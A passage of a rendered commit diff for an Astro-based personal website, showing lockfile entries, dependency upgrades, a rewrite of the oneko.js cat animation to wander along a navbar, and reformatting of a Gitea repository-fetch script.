"svgo/sax": ["sax@1.6.0", "", {}, "sha512-6R3J5M4AcbtLUdZmRv2SygeVaM7IhrLXu9BmnOGmmACak8fiUtOsYNWUS4uK7upbmHIBbLBeFeI//477BKLBzA=="],
"tinyglobby/picomatch": ["picomatch@4.0.3", "", {}, "sha512-5gTmgEY/sqK6gFXLIsQNH19lWb4ebPDLA4SdLP7dsWkIXHWlG66oPuVvXSGFPppYZz8ZDZq0dYYrbHfBCVUb1Q=="],
"typescript-auto-import-cache/semver": ["semver@7.7.3", "", { "bin": { "semver": "bin/semver.js" } }, "sha512-SdsKMrI9TdgjdweUSR9MweHA4EJ8YxHn8DFaDisvhVlUOe4BF1tLD7GAj0lIqWVl+dPb/rExr0Btby5loQm20Q=="],
"unist-util-remove-position/unist-util-visit": ["unist-util-visit@5.0.0", "", { "dependencies": { "@types/unist": "^3.0.0", "unist-util-is": "^6.0.0", "unist-util-visit-parents": "^6.0.0" } }, "sha512-MR04uvD+07cwl/yhVuVWAtw+3GOR/knlL55Nd/wAdblk27GCVt3lqpTivy/tkJcZoNPzTwS1Y+KMojlLDhoTzg=="],
"unstorage/chokidar": ["chokidar@5.0.0", "", { "dependencies": { "readdirp": "^5.0.0" } }, "sha512-TQMmc3w+5AxjpL8iIiwebF73dRDF4fBIieAqGn9RGCWaEVwQ6Fb2cGe31Yns0RRIzii5goJ1Y7xbMwo1TxMplw=="], "unstorage/chokidar": ["chokidar@5.0.0", "", { "dependencies": { "readdirp": "^5.0.0" } }, "sha512-TQMmc3w+5AxjpL8iIiwebF73dRDF4fBIieAqGn9RGCWaEVwQ6Fb2cGe31Yns0RRIzii5goJ1Y7xbMwo1TxMplw=="],
"vite/esbuild": ["esbuild@0.25.12", "", { "optionalDependencies": { "@esbuild/aix-ppc64": "0.25.12", "@esbuild/android-arm": "0.25.12", "@esbuild/android-arm64": "0.25.12", "@esbuild/android-x64": "0.25.12", "@esbuild/darwin-arm64": "0.25.12", "@esbuild/darwin-x64": "0.25.12", "@esbuild/freebsd-arm64": "0.25.12", "@esbuild/freebsd-x64": "0.25.12", "@esbuild/linux-arm": "0.25.12", "@esbuild/linux-arm64": "0.25.12", "@esbuild/linux-ia32": "0.25.12", "@esbuild/linux-loong64": "0.25.12", "@esbuild/linux-mips64el": "0.25.12", "@esbuild/linux-ppc64": "0.25.12", "@esbuild/linux-riscv64": "0.25.12", "@esbuild/linux-s390x": "0.25.12", "@esbuild/linux-x64": "0.25.12", "@esbuild/netbsd-arm64": "0.25.12", "@esbuild/netbsd-x64": "0.25.12", "@esbuild/openbsd-arm64": "0.25.12", "@esbuild/openbsd-x64": "0.25.12", "@esbuild/openharmony-arm64": "0.25.12", "@esbuild/sunos-x64": "0.25.12", "@esbuild/win32-arm64": "0.25.12", "@esbuild/win32-ia32": "0.25.12", "@esbuild/win32-x64": "0.25.12" }, "bin": { "esbuild": "bin/esbuild" } }, "sha512-bbPBYYrtZbkt6Os6FiTLCTFxvq4tt3JKall1vRwshA3fdVztsLAatFaZobhkBC8/BrPetoa0oksYoKXoG4ryJg=="], "volar-service-typescript/semver": ["semver@7.7.3", "", { "bin": { "semver": "bin/semver.js" } }, "sha512-SdsKMrI9TdgjdweUSR9MweHA4EJ8YxHn8DFaDisvhVlUOe4BF1tLD7GAj0lIqWVl+dPb/rExr0Btby5loQm20Q=="],
"vscode-json-languageservice/jsonc-parser": ["jsonc-parser@3.3.1", "", {}, "sha512-HUgH65KyejrUFPvHFPbqOY0rsFip3Bo5wb4ngvdi1EpCYWUQDC5V+Y7mZws+DLkr4M//zQJoanu1SP+87Dv1oQ=="], "vscode-json-languageservice/jsonc-parser": ["jsonc-parser@3.3.1", "", {}, "sha512-HUgH65KyejrUFPvHFPbqOY0rsFip3Bo5wb4ngvdi1EpCYWUQDC5V+Y7mZws+DLkr4M//zQJoanu1SP+87Dv1oQ=="],
"widest-line/string-width": ["string-width@7.2.0", "", { "dependencies": { "emoji-regex": "^10.3.0", "get-east-asian-width": "^1.0.0", "strip-ansi": "^7.1.0" } }, "sha512-tsaTIkKW9b4N+AEj+SVA+WhJzV7/zMhcSu78mLKWSk7cXMOSHsBKFWUs0fWwq8QyK3MgJBQRX6Gbi4kYbdvGkQ=="],
"wrap-ansi/string-width": ["string-width@7.2.0", "", { "dependencies": { "emoji-regex": "^10.3.0", "get-east-asian-width": "^1.0.0", "strip-ansi": "^7.1.0" } }, "sha512-tsaTIkKW9b4N+AEj+SVA+WhJzV7/zMhcSu78mLKWSk7cXMOSHsBKFWUs0fWwq8QyK3MgJBQRX6Gbi4kYbdvGkQ=="],
"wrap-ansi/strip-ansi": ["strip-ansi@7.1.2", "", { "dependencies": { "ansi-regex": "^6.0.1" } }, "sha512-gmBGslpoQJtgnMAvOVqGZpEz9dyoKTCzy2nfz/n8aIFhN/jCE/rCmcxabB6jOOHV+0WNnylOxaxBQPSvcWklhA=="],
"yaml-language-server/request-light": ["request-light@0.5.8", "", {}, "sha512-3Zjgh+8b5fhRJBQZoy+zbVKpAQGLyka0MPgW3zruTF4dFFJ8Fqcfu9YsAvi/rvdcaTeWG3MkbZv4WKxAn/84Lg=="], "yaml-language-server/request-light": ["request-light@0.5.8", "", {}, "sha512-3Zjgh+8b5fhRJBQZoy+zbVKpAQGLyka0MPgW3zruTF4dFFJ8Fqcfu9YsAvi/rvdcaTeWG3MkbZv4WKxAn/84Lg=="],
"yaml-language-server/yaml": ["yaml@2.7.1", "", { "bin": { "yaml": "bin.mjs" } }, "sha512-10ULxpnOCQXxJvBgxsn9ptjq6uviG/htZKk9veJGhlqn3w/DxQ631zFF+nlQXLwmImeS5amR2dl2U8sg6U9jsQ=="], "yaml-language-server/yaml": ["yaml@2.7.1", "", { "bin": { "yaml": "bin.mjs" } }, "sha512-10ULxpnOCQXxJvBgxsn9ptjq6uviG/htZKk9veJGhlqn3w/DxQ631zFF+nlQXLwmImeS5amR2dl2U8sg6U9jsQ=="],
"zod-to-ts/zod": ["zod@3.25.76", "", {}, "sha512-gzUt/qt81nXsFGKIFcC3YnfEAx5NkunCfnDlvuBSSFS02bcXu4Lmea0AFIUwbLWxWPx3d9p8S5QoaujKcNQxcQ=="], "yargs/yargs-parser": ["yargs-parser@21.1.1", "", {}, "sha512-tVpsJW7DdjecAiFpbIB1e3qxIQsE6NoPc5/eTdrbbIC4h0LVsWhnoa3g+m2HclBIujHzsxZ4VJVA+GUuc2/LBw=="],
"boxen/string-width/emoji-regex": ["emoji-regex@10.6.0", "", {}, "sha512-toUI84YS5YmxW219erniWD0CIVOo46xGKColeNQRgOzDorgBi1v4D71/OFzgD9GO2UGKIv1C3Sp8DAn0+j5w7A=="],
"boxen/string-width/strip-ansi": ["strip-ansi@7.1.2", "", { "dependencies": { "ansi-regex": "^6.0.1" } }, "sha512-gmBGslpoQJtgnMAvOVqGZpEz9dyoKTCzy2nfz/n8aIFhN/jCE/rCmcxabB6jOOHV+0WNnylOxaxBQPSvcWklhA=="],
"cliui/wrap-ansi/ansi-styles": ["ansi-styles@4.3.0", "", { "dependencies": { "color-convert": "^2.0.1" } }, "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg=="],
"csso/css-tree/mdn-data": ["mdn-data@2.0.28", "", {}, "sha512-aylIc7Z9y4yzHYAJNuESG3hfhC+0Ibp/MAMiaOZgNv4pmEdFyfZhhhny4MNiAfWdBQ1RQ2mfDWmM1x8SvGyp8g=="], "csso/css-tree/mdn-data": ["mdn-data@2.0.28", "", {}, "sha512-aylIc7Z9y4yzHYAJNuESG3hfhC+0Ibp/MAMiaOZgNv4pmEdFyfZhhhny4MNiAfWdBQ1RQ2mfDWmM1x8SvGyp8g=="],
"unstorage/chokidar/readdirp": ["readdirp@5.0.0", "", {}, "sha512-9u/XQ1pvrQtYyMpZe7DXKv2p5CNvyVwzUB6uhLAnQwHMSgKMBR62lc7AHljaeteeHXn11XTAaLLUVZYVZyuRBQ=="], "unstorage/chokidar/readdirp": ["readdirp@5.0.0", "", {}, "sha512-9u/XQ1pvrQtYyMpZe7DXKv2p5CNvyVwzUB6uhLAnQwHMSgKMBR62lc7AHljaeteeHXn11XTAaLLUVZYVZyuRBQ=="],
"vite/esbuild/@esbuild/aix-ppc64": ["@esbuild/aix-ppc64@0.25.12", "", { "os": "aix", "cpu": "ppc64" }, "sha512-Hhmwd6CInZ3dwpuGTF8fJG6yoWmsToE+vYgD4nytZVxcu1ulHpUQRAB1UJ8+N1Am3Mz4+xOByoQoSZf4D+CpkA=="],
"vite/esbuild/@esbuild/android-arm": ["@esbuild/android-arm@0.25.12", "", { "os": "android", "cpu": "arm" }, "sha512-VJ+sKvNA/GE7Ccacc9Cha7bpS8nyzVv0jdVgwNDaR4gDMC/2TTRc33Ip8qrNYUcpkOHUT5OZ0bUcNNVZQ9RLlg=="],
"vite/esbuild/@esbuild/android-arm64": ["@esbuild/android-arm64@0.25.12", "", { "os": "android", "cpu": "arm64" }, "sha512-6AAmLG7zwD1Z159jCKPvAxZd4y/VTO0VkprYy+3N2FtJ8+BQWFXU+OxARIwA46c5tdD9SsKGZ/1ocqBS/gAKHg=="],
"vite/esbuild/@esbuild/android-x64": ["@esbuild/android-x64@0.25.12", "", { "os": "android", "cpu": "x64" }, "sha512-5jbb+2hhDHx5phYR2By8GTWEzn6I9UqR11Kwf22iKbNpYrsmRB18aX/9ivc5cabcUiAT/wM+YIZ6SG9QO6a8kg=="],
"vite/esbuild/@esbuild/darwin-arm64": ["@esbuild/darwin-arm64@0.25.12", "", { "os": "darwin", "cpu": "arm64" }, "sha512-N3zl+lxHCifgIlcMUP5016ESkeQjLj/959RxxNYIthIg+CQHInujFuXeWbWMgnTo4cp5XVHqFPmpyu9J65C1Yg=="],
"vite/esbuild/@esbuild/darwin-x64": ["@esbuild/darwin-x64@0.25.12", "", { "os": "darwin", "cpu": "x64" }, "sha512-HQ9ka4Kx21qHXwtlTUVbKJOAnmG1ipXhdWTmNXiPzPfWKpXqASVcWdnf2bnL73wgjNrFXAa3yYvBSd9pzfEIpA=="],
"vite/esbuild/@esbuild/freebsd-arm64": ["@esbuild/freebsd-arm64@0.25.12", "", { "os": "freebsd", "cpu": "arm64" }, "sha512-gA0Bx759+7Jve03K1S0vkOu5Lg/85dou3EseOGUes8flVOGxbhDDh/iZaoek11Y8mtyKPGF3vP8XhnkDEAmzeg=="],
"vite/esbuild/@esbuild/freebsd-x64": ["@esbuild/freebsd-x64@0.25.12", "", { "os": "freebsd", "cpu": "x64" }, "sha512-TGbO26Yw2xsHzxtbVFGEXBFH0FRAP7gtcPE7P5yP7wGy7cXK2oO7RyOhL5NLiqTlBh47XhmIUXuGciXEqYFfBQ=="],
"vite/esbuild/@esbuild/linux-arm": ["@esbuild/linux-arm@0.25.12", "", { "os": "linux", "cpu": "arm" }, "sha512-lPDGyC1JPDou8kGcywY0YILzWlhhnRjdof3UlcoqYmS9El818LLfJJc3PXXgZHrHCAKs/Z2SeZtDJr5MrkxtOw=="],
"vite/esbuild/@esbuild/linux-arm64": ["@esbuild/linux-arm64@0.25.12", "", { "os": "linux", "cpu": "arm64" }, "sha512-8bwX7a8FghIgrupcxb4aUmYDLp8pX06rGh5HqDT7bB+8Rdells6mHvrFHHW2JAOPZUbnjUpKTLg6ECyzvas2AQ=="],
"vite/esbuild/@esbuild/linux-ia32": ["@esbuild/linux-ia32@0.25.12", "", { "os": "linux", "cpu": "ia32" }, "sha512-0y9KrdVnbMM2/vG8KfU0byhUN+EFCny9+8g202gYqSSVMonbsCfLjUO+rCci7pM0WBEtz+oK/PIwHkzxkyharA=="],
"vite/esbuild/@esbuild/linux-loong64": ["@esbuild/linux-loong64@0.25.12", "", { "os": "linux", "cpu": "none" }, "sha512-h///Lr5a9rib/v1GGqXVGzjL4TMvVTv+s1DPoxQdz7l/AYv6LDSxdIwzxkrPW438oUXiDtwM10o9PmwS/6Z0Ng=="],
"vite/esbuild/@esbuild/linux-mips64el": ["@esbuild/linux-mips64el@0.25.12", "", { "os": "linux", "cpu": "none" }, "sha512-iyRrM1Pzy9GFMDLsXn1iHUm18nhKnNMWscjmp4+hpafcZjrr2WbT//d20xaGljXDBYHqRcl8HnxbX6uaA/eGVw=="],
"vite/esbuild/@esbuild/linux-ppc64": ["@esbuild/linux-ppc64@0.25.12", "", { "os": "linux", "cpu": "ppc64" }, "sha512-9meM/lRXxMi5PSUqEXRCtVjEZBGwB7P/D4yT8UG/mwIdze2aV4Vo6U5gD3+RsoHXKkHCfSxZKzmDssVlRj1QQA=="],
"vite/esbuild/@esbuild/linux-riscv64": ["@esbuild/linux-riscv64@0.25.12", "", { "os": "linux", "cpu": "none" }, "sha512-Zr7KR4hgKUpWAwb1f3o5ygT04MzqVrGEGXGLnj15YQDJErYu/BGg+wmFlIDOdJp0PmB0lLvxFIOXZgFRrdjR0w=="],
"vite/esbuild/@esbuild/linux-s390x": ["@esbuild/linux-s390x@0.25.12", "", { "os": "linux", "cpu": "s390x" }, "sha512-MsKncOcgTNvdtiISc/jZs/Zf8d0cl/t3gYWX8J9ubBnVOwlk65UIEEvgBORTiljloIWnBzLs4qhzPkJcitIzIg=="],
"vite/esbuild/@esbuild/linux-x64": ["@esbuild/linux-x64@0.25.12", "", { "os": "linux", "cpu": "x64" }, "sha512-uqZMTLr/zR/ed4jIGnwSLkaHmPjOjJvnm6TVVitAa08SLS9Z0VM8wIRx7gWbJB5/J54YuIMInDquWyYvQLZkgw=="],
"vite/esbuild/@esbuild/netbsd-arm64": ["@esbuild/netbsd-arm64@0.25.12", "", { "os": "none", "cpu": "arm64" }, "sha512-xXwcTq4GhRM7J9A8Gv5boanHhRa/Q9KLVmcyXHCTaM4wKfIpWkdXiMog/KsnxzJ0A1+nD+zoecuzqPmCRyBGjg=="],
"vite/esbuild/@esbuild/netbsd-x64": ["@esbuild/netbsd-x64@0.25.12", "", { "os": "none", "cpu": "x64" }, "sha512-Ld5pTlzPy3YwGec4OuHh1aCVCRvOXdH8DgRjfDy/oumVovmuSzWfnSJg+VtakB9Cm0gxNO9BzWkj6mtO1FMXkQ=="],
"vite/esbuild/@esbuild/openbsd-arm64": ["@esbuild/openbsd-arm64@0.25.12", "", { "os": "openbsd", "cpu": "arm64" }, "sha512-fF96T6KsBo/pkQI950FARU9apGNTSlZGsv1jZBAlcLL1MLjLNIWPBkj5NlSz8aAzYKg+eNqknrUJ24QBybeR5A=="],
"vite/esbuild/@esbuild/openbsd-x64": ["@esbuild/openbsd-x64@0.25.12", "", { "os": "openbsd", "cpu": "x64" }, "sha512-MZyXUkZHjQxUvzK7rN8DJ3SRmrVrke8ZyRusHlP+kuwqTcfWLyqMOE3sScPPyeIXN/mDJIfGXvcMqCgYKekoQw=="],
"vite/esbuild/@esbuild/openharmony-arm64": ["@esbuild/openharmony-arm64@0.25.12", "", { "os": "none", "cpu": "arm64" }, "sha512-rm0YWsqUSRrjncSXGA7Zv78Nbnw4XL6/dzr20cyrQf7ZmRcsovpcRBdhD43Nuk3y7XIoW2OxMVvwuRvk9XdASg=="],
"vite/esbuild/@esbuild/sunos-x64": ["@esbuild/sunos-x64@0.25.12", "", { "os": "sunos", "cpu": "x64" }, "sha512-3wGSCDyuTHQUzt0nV7bocDy72r2lI33QL3gkDNGkod22EsYl04sMf0qLb8luNKTOmgF/eDEDP5BFNwoBKH441w=="],
"vite/esbuild/@esbuild/win32-arm64": ["@esbuild/win32-arm64@0.25.12", "", { "os": "win32", "cpu": "arm64" }, "sha512-rMmLrur64A7+DKlnSuwqUdRKyd3UE7oPJZmnljqEptesKM8wx9J8gx5u0+9Pq0fQQW8vqeKebwNXdfOyP+8Bsg=="],
"vite/esbuild/@esbuild/win32-ia32": ["@esbuild/win32-ia32@0.25.12", "", { "os": "win32", "cpu": "ia32" }, "sha512-HkqnmmBoCbCwxUKKNPBixiWDGCpQGVsrQfJoVGYLPT41XWF8lHuE5N6WhVia2n4o5QK5M4tYr21827fNhi4byQ=="],
"vite/esbuild/@esbuild/win32-x64": ["@esbuild/win32-x64@0.25.12", "", { "os": "win32", "cpu": "x64" }, "sha512-alJC0uCZpTFrSL0CCDjcgleBXPnCrEAhTBILpeAp7M/OFgoqtAetfBzX0xM00MUsVVPpVjlPuMbREqnZCXaTnA=="],
"widest-line/string-width/emoji-regex": ["emoji-regex@10.6.0", "", {}, "sha512-toUI84YS5YmxW219erniWD0CIVOo46xGKColeNQRgOzDorgBi1v4D71/OFzgD9GO2UGKIv1C3Sp8DAn0+j5w7A=="],
"widest-line/string-width/strip-ansi": ["strip-ansi@7.1.2", "", { "dependencies": { "ansi-regex": "^6.0.1" } }, "sha512-gmBGslpoQJtgnMAvOVqGZpEz9dyoKTCzy2nfz/n8aIFhN/jCE/rCmcxabB6jOOHV+0WNnylOxaxBQPSvcWklhA=="],
"wrap-ansi/string-width/emoji-regex": ["emoji-regex@10.6.0", "", {}, "sha512-toUI84YS5YmxW219erniWD0CIVOo46xGKColeNQRgOzDorgBi1v4D71/OFzgD9GO2UGKIv1C3Sp8DAn0+j5w7A=="],
"wrap-ansi/strip-ansi/ansi-regex": ["ansi-regex@6.2.2", "", {}, "sha512-Bq3SmSpyFHaWjPk8If9yc6svM8c56dB5BAtW4Qbw5jHTwwXXcTLoRMkpDJp6VL0XzlWaCHTXrkFURMYmD0sLqg=="],
"boxen/string-width/strip-ansi/ansi-regex": ["ansi-regex@6.2.2", "", {}, "sha512-Bq3SmSpyFHaWjPk8If9yc6svM8c56dB5BAtW4Qbw5jHTwwXXcTLoRMkpDJp6VL0XzlWaCHTXrkFURMYmD0sLqg=="],
"widest-line/string-width/strip-ansi/ansi-regex": ["ansi-regex@6.2.2", "", {}, "sha512-Bq3SmSpyFHaWjPk8If9yc6svM8c56dB5BAtW4Qbw5jHTwwXXcTLoRMkpDJp6VL0XzlWaCHTXrkFURMYmD0sLqg=="],
} }
} }
+474 -290
View File
File diff suppressed because it is too large Load Diff
+5 -4
View File
@@ -12,16 +12,17 @@
"fetch-data": "bun run scripts/fetch-repos.ts" "fetch-data": "bun run scripts/fetch-repos.ts"
}, },
"dependencies": { "dependencies": {
"@astrojs/mdx": "^4.3.14", "@astrojs/mdx": "5.0.4",
"@astrojs/rss": "^4.0.18", "@astrojs/rss": "^4.0.18",
"@astrojs/sitemap": "^3.7.2", "@astrojs/sitemap": "^3.7.2",
"@astrojs/svelte": "^8.1.0",
"@lucide/astro": "^0.552.0", "@lucide/astro": "^0.552.0",
"@tailwindcss/vite": "^4.2.4", "@tailwindcss/vite": "^4.2.4",
"@types/bun": "^1.3.13", "@types/bun": "^1.3.13",
"astro": "^5.18.1", "astro": "6.1.10",
"daisyui": "^5.5.19", "daisyui": "^5.5.19",
"lucide-astro": "^0.556.0", "node-html-parser": "^7.1.0",
"node-html-parser": "^7.1.0", "svelte": "^5.55.5",
"tailwindcss": "^4.2.4" "tailwindcss": "^4.2.4"
}, },
"devDependencies": { "devDependencies": {
+106 -206
View File
@@ -1,27 +1,11 @@
// oneko.js: https://github.com/adryd325/oneko.js // oneko.js — navbar wanderer (based on https://github.com/adryd325/oneko.js)
(function oneko() { (function oneko() {
const isReducedMotion = if (window.matchMedia("(prefers-reduced-motion: reduce)").matches) return;
window.matchMedia(`(prefers-reduced-motion: reduce)`) === true ||
window.matchMedia(`(prefers-reduced-motion: reduce)`).matches === true;
if (isReducedMotion) return; const SIZE = 32;
const SPEED = 10;
const nekoEl = document.createElement("div");
let persistPosition = true;
let nekoPosX = 32;
let nekoPosY = 32;
let mousePosX = 0;
let mousePosY = 0;
let frameCount = 0;
let idleTime = 0;
let idleAnimation = null;
let idleAnimationFrame = 0;
const nekoSpeed = 10;
const spriteSets = { const spriteSets = {
idle: [[-3, -3]], idle: [[-3, -3]],
alert: [[-7, -3]], alert: [[-7, -3]],
@@ -30,14 +14,6 @@
[-6, 0], [-6, 0],
[-7, 0], [-7, 0],
], ],
scratchWallN: [
[0, 0],
[0, -1],
],
scratchWallS: [
[-7, -1],
[-6, -2],
],
scratchWallE: [ scratchWallE: [
[-2, -2], [-2, -2],
[-2, -3], [-2, -3],
@@ -51,234 +27,158 @@
[-2, 0], [-2, 0],
[-2, -1], [-2, -1],
], ],
N: [
[-1, -2],
[-1, -3],
],
NE: [
[0, -2],
[0, -3],
],
E: [ E: [
[-3, 0], [-3, 0],
[-3, -1], [-3, -1],
], ],
SE: [
[-5, -1],
[-5, -2],
],
S: [
[-6, -3],
[-7, -2],
],
SW: [
[-5, -3],
[-6, -1],
],
W: [ W: [
[-4, -2], [-4, -2],
[-4, -3], [-4, -3],
], ],
NW: [
[-1, 0],
[-1, -1],
],
}; };
function init() { const track = document.getElementById("oneko-track");
let nekoFile = "/oneko.gif"; if (!track) return;
const curScript = document.currentScript;
if (curScript && curScript.dataset.cat) {
nekoFile = curScript.dataset.cat;
}
if (curScript && curScript.dataset.persistPosition) {
if (curScript.dataset.persistPosition === "") {
persistPosition = true;
} else {
persistPosition = JSON.parse(
curScript.dataset.persistPosition.toLowerCase(),
);
}
}
if (persistPosition) { const el = document.createElement("div");
let storedNeko = JSON.parse(window.localStorage.getItem("oneko")); el.id = "oneko";
if (storedNeko !== null) { el.ariaHidden = "true";
nekoPosX = storedNeko.nekoPosX; el.style.width = `${SIZE}px`;
nekoPosY = storedNeko.nekoPosY; el.style.height = `${SIZE}px`;
mousePosX = storedNeko.mousePosX; el.style.position = "absolute";
mousePosY = storedNeko.mousePosY; el.style.bottom = "0";
frameCount = storedNeko.frameCount; el.style.pointerEvents = "none";
idleTime = storedNeko.idleTime; el.style.imageRendering = "pixelated";
idleAnimation = storedNeko.idleAnimation; el.style.zIndex = "2147483647";
idleAnimationFrame = storedNeko.idleAnimationFrame; el.style.backgroundImage = "url(/oneko.gif)";
nekoEl.style.backgroundPosition = storedNeko.bgPos; track.appendChild(el);
}
}
nekoEl.id = "oneko"; function maxX() {
nekoEl.ariaHidden = true; return track.offsetWidth - SIZE;
nekoEl.style.width = "32px";
nekoEl.style.height = "32px";
nekoEl.style.position = "fixed";
nekoEl.style.pointerEvents = "none";
nekoEl.style.imageRendering = "pixelated";
nekoEl.style.left = `${nekoPosX - 16}px`;
nekoEl.style.top = `${nekoPosY - 16}px`;
nekoEl.style.zIndex = 2147483647;
nekoEl.style.backgroundImage = `url(${nekoFile})`;
document.body.appendChild(nekoEl);
document.addEventListener("mousemove", function (event) {
mousePosX = event.clientX;
mousePosY = event.clientY;
});
if (persistPosition) {
window.addEventListener("beforeunload", function (_event) {
window.localStorage.setItem(
"oneko",
JSON.stringify({
nekoPosX: nekoPosX,
nekoPosY: nekoPosY,
mousePosX: mousePosX,
mousePosY: mousePosY,
frameCount: frameCount,
idleTime: idleTime,
idleAnimation: idleAnimation,
idleAnimationFrame: idleAnimationFrame,
bgPos: nekoEl.style.backgroundPosition,
}),
);
});
}
window.requestAnimationFrame(onAnimationFrame);
} }
function clamp(v, lo, hi) {
let lastFrameTimestamp; return Math.max(lo, Math.min(hi, v));
}
function onAnimationFrame(timestamp) { function randomTarget() {
// Stops execution if the neko element is removed from DOM return Math.random() * maxX();
if (!nekoEl.isConnected) {
return;
}
if (!lastFrameTimestamp) {
lastFrameTimestamp = timestamp;
}
if (timestamp - lastFrameTimestamp > 100) {
lastFrameTimestamp = timestamp;
frame();
}
window.requestAnimationFrame(onAnimationFrame);
} }
function setSprite(name, frame) { function setSprite(name, frame) {
const sprite = spriteSets[name][frame % spriteSets[name].length]; const s = spriteSets[name][frame % spriteSets[name].length];
nekoEl.style.backgroundPosition = `${sprite[0] * 32}px ${sprite[1] * 32}px`; el.style.backgroundPosition = `${s[0] * SIZE}px ${s[1] * SIZE}px`;
} }
function resetIdleAnimation() { let posX = randomTarget();
idleAnimation = null; let targetX = posX;
idleAnimationFrame = 0; el.style.left = `${posX}px`;
let frameCount = 0;
let idleTime = 0;
let idleAnim = null;
let idleAnimFrame = 0;
let lastTs = null;
function resetIdle() {
idleAnim = null;
idleAnimFrame = 0;
} }
function idle() { function idle() {
idleTime += 1; idleTime++;
// every ~ 20 seconds if (idleTime > 40 && Math.floor(Math.random() * 120) === 0) {
if ( targetX = randomTarget();
idleTime > 10 && idleTime = 0;
Math.floor(Math.random() * 200) == 0 && resetIdle();
idleAnimation == null return;
) {
let avalibleIdleAnimations = ["sleeping", "scratchSelf"];
if (nekoPosX < 32) {
avalibleIdleAnimations.push("scratchWallW");
}
if (nekoPosY < 32) {
avalibleIdleAnimations.push("scratchWallN");
}
if (nekoPosX > window.innerWidth - 32) {
avalibleIdleAnimations.push("scratchWallE");
}
if (nekoPosY > window.innerHeight - 32) {
avalibleIdleAnimations.push("scratchWallS");
}
idleAnimation =
avalibleIdleAnimations[
Math.floor(Math.random() * avalibleIdleAnimations.length)
];
} }
switch (idleAnimation) { if (
idleTime > 15 &&
idleAnim == null &&
Math.floor(Math.random() * 180) === 0
) {
const opts = ["sleeping", "scratchSelf"];
if (posX <= SIZE) opts.push("scratchWallW");
if (posX >= maxX() - SIZE) opts.push("scratchWallE");
idleAnim = opts[Math.floor(Math.random() * opts.length)];
}
switch (idleAnim) {
case "sleeping": case "sleeping":
if (idleAnimationFrame < 8) { if (idleAnimFrame < 8) {
setSprite("tired", 0); setSprite("tired", 0);
break; break;
} }
setSprite("sleeping", Math.floor(idleAnimationFrame / 4)); setSprite("sleeping", Math.floor(idleAnimFrame / 4));
if (idleAnimationFrame > 192) { if (idleAnimFrame > 192) resetIdle();
resetIdleAnimation();
}
break; break;
case "scratchWallN":
case "scratchWallS":
case "scratchWallE": case "scratchWallE":
case "scratchWallW": case "scratchWallW":
case "scratchSelf": case "scratchSelf":
setSprite(idleAnimation, idleAnimationFrame); setSprite(idleAnim, idleAnimFrame);
if (idleAnimationFrame > 9) { if (idleAnimFrame > 9) resetIdle();
resetIdleAnimation();
}
break; break;
default: default:
setSprite("idle", 0); setSprite("idle", 0);
return; return;
} }
idleAnimationFrame += 1; idleAnimFrame++;
} }
function frame() { function frame() {
frameCount += 1; frameCount++;
const diffX = nekoPosX - mousePosX; const diff = targetX - posX;
const diffY = nekoPosY - mousePosY; const dist = Math.abs(diff);
const distance = Math.sqrt(diffX ** 2 + diffY ** 2);
if (distance < nekoSpeed || distance < 48) { if (dist < SPEED) {
posX = targetX;
idle(); idle();
return; return;
} }
idleAnimation = null; resetIdle();
idleAnimationFrame = 0;
if (idleTime > 1) { if (idleTime > 5) {
setSprite("alert", 0); setSprite("alert", 0);
// count down after being alerted before moving idleTime = Math.min(idleTime, 7) - 1;
idleTime = Math.min(idleTime, 7);
idleTime -= 1;
return; return;
} }
idleTime = 0;
let direction; setSprite(diff > 0 ? "E" : "W", frameCount);
direction = diffY / distance > 0.5 ? "N" : ""; posX = clamp(posX + (diff > 0 ? SPEED : -SPEED), 0, maxX());
direction += diffY / distance < -0.5 ? "S" : ""; el.style.left = `${posX}px`;
direction += diffX / distance > 0.5 ? "W" : "";
direction += diffX / distance < -0.5 ? "E" : "";
setSprite(direction, frameCount);
nekoPosX -= (diffX / distance) * nekoSpeed;
nekoPosY -= (diffY / distance) * nekoSpeed;
nekoPosX = Math.min(Math.max(16, nekoPosX), window.innerWidth - 16);
nekoPosY = Math.min(Math.max(16, nekoPosY), window.innerHeight - 16);
nekoEl.style.left = `${nekoPosX - 16}px`;
nekoEl.style.top = `${nekoPosY - 16}px`;
} }
init(); function loop(ts) {
if (!el.isConnected) return;
if (!lastTs) lastTs = ts;
if (ts - lastTs > 100) {
lastTs = ts;
frame();
}
window.requestAnimationFrame(loop);
}
let lastTrackWidth = track.offsetWidth;
window.addEventListener("resize", () => {
const newWidth = track.offsetWidth;
if (lastTrackWidth > 0) {
const ratio = newWidth / lastTrackWidth;
posX = clamp(posX * ratio, 0, maxX());
targetX = clamp(targetX * ratio, 0, maxX());
el.style.left = `${posX}px`;
}
lastTrackWidth = newWidth;
});
setTimeout(
() => {
targetX = randomTarget();
},
800 + Math.random() * 1500,
);
window.requestAnimationFrame(loop);
})(); })();
+7 -14
View File
@@ -53,28 +53,24 @@ async function checkMirrors(repoName: string): Promise<RepoMirrors> {
export async function fetchGiteaRepos(): Promise<GiteaRepoWithMirrors[]> { export async function fetchGiteaRepos(): Promise<GiteaRepoWithMirrors[]> {
try { try {
const res = await fetch( const res = await fetch(
`${GITEA_BASE}/api/v1/users/${GITEA_USER}/repos?limit=50&page=1` `${GITEA_BASE}/api/v1/users/${GITEA_USER}/repos?limit=50&page=1`,
); );
if (!res.ok) throw new Error(`Gitea API: ${res.status}`); if (!res.ok) throw new Error(`Gitea API: ${res.status}`);
const repos: GiteaRepo[] = await res.json(); const repos: GiteaRepo[] = await res.json();
const filtered = repos const filtered = repos
.filter((r) => .filter((r) => !r.fork && !r.private && !SKIP_REPOS.includes(r.name))
!r.fork &&
!r.private &&
!SKIP_REPOS.includes(r.name)
)
.sort( .sort(
(a, b) => (a, b) =>
new Date(b.updated_at).getTime() - new Date(a.updated_at).getTime() new Date(b.updated_at).getTime() - new Date(a.updated_at).getTime(),
); );
const reposWithMirrors = await Promise.all( const reposWithMirrors = await Promise.all(
filtered.map(async (repo) => ({ filtered.map(async (repo) => ({
...repo, ...repo,
mirrors: await checkMirrors(repo.name), mirrors: await checkMirrors(repo.name),
})) })),
); );
return reposWithMirrors; return reposWithMirrors;
@@ -91,18 +87,15 @@ export function getBannerUrl(repo: GiteaRepo): string {
async function main() { async function main() {
console.log("Fetching repos from Gitea..."); console.log("Fetching repos from Gitea...");
const rawRepos = await fetchGiteaRepos(); const rawRepos = await fetchGiteaRepos();
const repos = rawRepos.map(repo => ({ const repos = rawRepos.map((repo) => ({
...repo, ...repo,
